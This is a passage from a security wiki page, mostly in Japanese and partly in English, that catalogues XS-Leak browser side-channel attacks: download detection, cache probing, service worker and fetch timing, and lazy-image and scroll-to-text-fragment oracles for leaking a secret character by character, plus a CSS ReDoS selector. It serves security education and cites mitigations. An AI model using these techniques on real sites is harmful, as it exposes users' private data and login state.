* `Content-Disposition: attachment`ヘッダーを使用してページがファイルのダウンロードをトリガーすると、ナビゲーションイベントが発生しません。
* iframe内にコンテンツを読み込み、ナビゲーションイベントを監視することで、コンテンツの表示がファイルのダウンロードを引き起こすかどうか（ナビゲーションが発生しない）を確認できます。
3. **iframeを使用しないダウンロードナビゲーション**:
* iframeテクニックと同様に、この方法はiframeの代わりに`window.open`を使用します。
* 新しく開かれたウィンドウでのナビゲーションイベントを監視することで、ファイルのダウンロードがトリガーされたかどうか（ナビゲーションが発生しない）やコンテンツがインラインで表示されるかどうかを特定できます。

これらのテクニックは、ログイン済みユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、ブラウザの応答に基づいてユーザーの認証状態を間接的に推測するために使用できます。

### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Inclusion Methods**: ポップアップ
* **Detectable Difference**: タイミング
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Summary:** 攻撃者は、iframeを活用してファイルのダウンロードを識別できます。iframeへの継続的なアクセス可能性は、ファイルのダウンロードが成功したことを示唆します。
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722)（[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)から）

{% hint style="warning" %}
このテクニックが興味深い理由: Chromeには**キャッシュの分割**があり、新しく開かれたページのキャッシュキーは次のようになります：`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`、しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります：`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`、**キャッシュキーが異なる**ため、キャッシュを共有できません。詳細はこちら：[Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
（[**ここ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)のコメントより）
{% endhint %}

サイト`example.com`が`*.example.com/resource`からリソースを含む場合、そのリソースはトップレベルナビゲーションを介して直接リクエストされた場合と同じキャッシュキーを持ちます。これは、トップレベル_eTLD+1_とフレーム_eTLD+1_で構成されているためです。

キャッシュへのアクセスはリソースの読み込みよりも速いため、ページの場所を変更し、20ms後にキャンセルするなどの試みが可能です。停止後にオリジンが変更された場合、リソースがキャッシュされていることを意味します。\
または、**キャッシュされている可能性のあるページにいくつかのfetchを送信し、それがかかる時間を測定**することもできます。

### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: リダイレクト
* **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Summary:** フェッチリクエストへの応答がリダイレクトであるかどうかを特定することが可能です
* **Code Example**:

![](<../.gitbook/assets/image (652).png>)

### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: タイミング
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Summary:** リソースの読み込みを試み、読み込みが中断される前に中止することで、リソースがキャッシュされているかどうかを検出することが可能です。エラーがトリガーされるかどうかに応じて、リソースがキャッシュされているかどうかが判断されます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

**fetch**と**setTimeout**を**AbortController**と共に使用して、**リソースがキャッシュされているかどうかを検出**し、特定のリソースをブラウザキャッシュから削除することが可能です。さらに、新しいコンテンツをキャッシュすることなくプロセスが行われます。
### スクリプト汚染

* **組み込み方法**: HTML要素（script）
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **概要:** **組み込み関数を上書き**して、それらの引数を読み取ることが可能であり、さらに**クロスオリジンスクリプト**（直接読み取ることができない）からも、これにより**貴重な情報が漏洩**する可能性があります。
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### サービスワーカー <a href="#service-workers" id="service-workers"></a>

* **組み込み方法**: ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **概要:** サービスワーカーを使用してウェブの実行時間を計測します。
* **コード例**:

与えられたシナリオでは、攻撃者は自分のドメインの1つ、「attacker.com」で**サービスワーカー**を登録することを主導します。次に、攻撃者はターゲットウェブサイトでメインドキュメントから新しいウィンドウを開き、**サービスワーカー**にタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照を**サービスワーカー**によって管理されるページに移動します。

前のステップで開始されたリクエストが到着すると、**サービスワーカー**は**204 (No Content)**ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、**サービスワーカー**は前述のステップで開始されたタイマーから測定値を取得します。この測定値は、JavaScriptによるナビゲーションプロセスの遅延に影響を受けます。

{% hint style="warning" %}
実行時間の計測では、**ネットワーク要因を排除**して**より正確な測定値**を取得することが可能です。たとえば、ページで使用されるリソースをページを読み込む前に読み込むことで行うことができます。
{% endhint %}

### フェッチタイミング

* **組み込み方法**: Fetch API
* **検出可能な違い**: タイミング（通常はページコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **概要:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)を使用してリクエストの実行にかかる時間を測定します。他のクロックも使用できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### クロスウィンドウタイミング

* **組み込み方法**: ポップアップ
* **検出可能な違い**: タイミング（通常はページコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **概要:** `window.open`を使用してリクエストの実行にかかる時間を測定するために[performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)を使用します。他のクロックも使用できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## HTMLまたは再注入で

ここでは、クロスオリジンHTMLから情報を外部流出させるためのテクニックを見つけることができます。これらのテクニックは、何らかの理由でHTMLを挿入できますが、JSコードを挿入できない場合に興味深いです。

### ダングリングマークアップ

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### 画像の遅延読み込み

もし**コンテンツを外部流出**する必要があり、**秘密の前にHTMLを追加**できる場合は、**一般的なダングリングマークアップテクニック**をチェックすべきです。\
ただし、何らかの理由で**1文字ずつ**行う必要がある場合（たとえば、通信がキャッシュヒットを介して行われる場合）、このトリックを使用できます。

HTMLの**画像**には、読み込み時に画像が表示されるようにするための "**loading**" 属性があります。その場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます。
```html
<img src=/something loading=lazy >
```
したがって、できることは、**多くのジャンク文字を追加する**ことです（たとえば**何千もの"W"**）。これにより、秘密の前に**ウェブページを埋める**か、`<br><canvas height="1850px"></canvas><br>`のようなものを追加します。\
その後、たとえば**インジェクションがフラグの前に現れる**場合、**画像**は**読み込まれます**が、フラグの後に現れる場合、フラグとジャンクが**読み込まれないように防ぎます**（どれだけのジャンクを配置するかを調整する必要があります）。これは[**この解説**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で起こったことです。

もう1つのオプションは、許可されている場合に**scroll-to-text-fragment**を使用することです：

#### Scroll-to-text-fragment

ただし、**ボットがページにアクセス**するようにします。
```
#:~:text=SECR
```
So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`**

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text `SECR`. As that text is the secret and it's just **below the image**, the **image will only load if the guessed secret is correct**. So there you have your oracle to **exfiltrate the secret char by char**.

Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Image Lazy Loading Time Based

If it's **not possible to load an external image** that could indicate the attacker that the image was loaded, another option would be to try to **guess the char several times and measure that**. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the [**solution of this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sumarized here:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## 防御

[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)において推奨される緩和策があり、また[https://xsleaks.dev/](https://xsleaks.dev/)の各セクションにもあります。これらのテクニックに対抗する方法についての詳細はそちらを参照してください。

## 参考文献

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}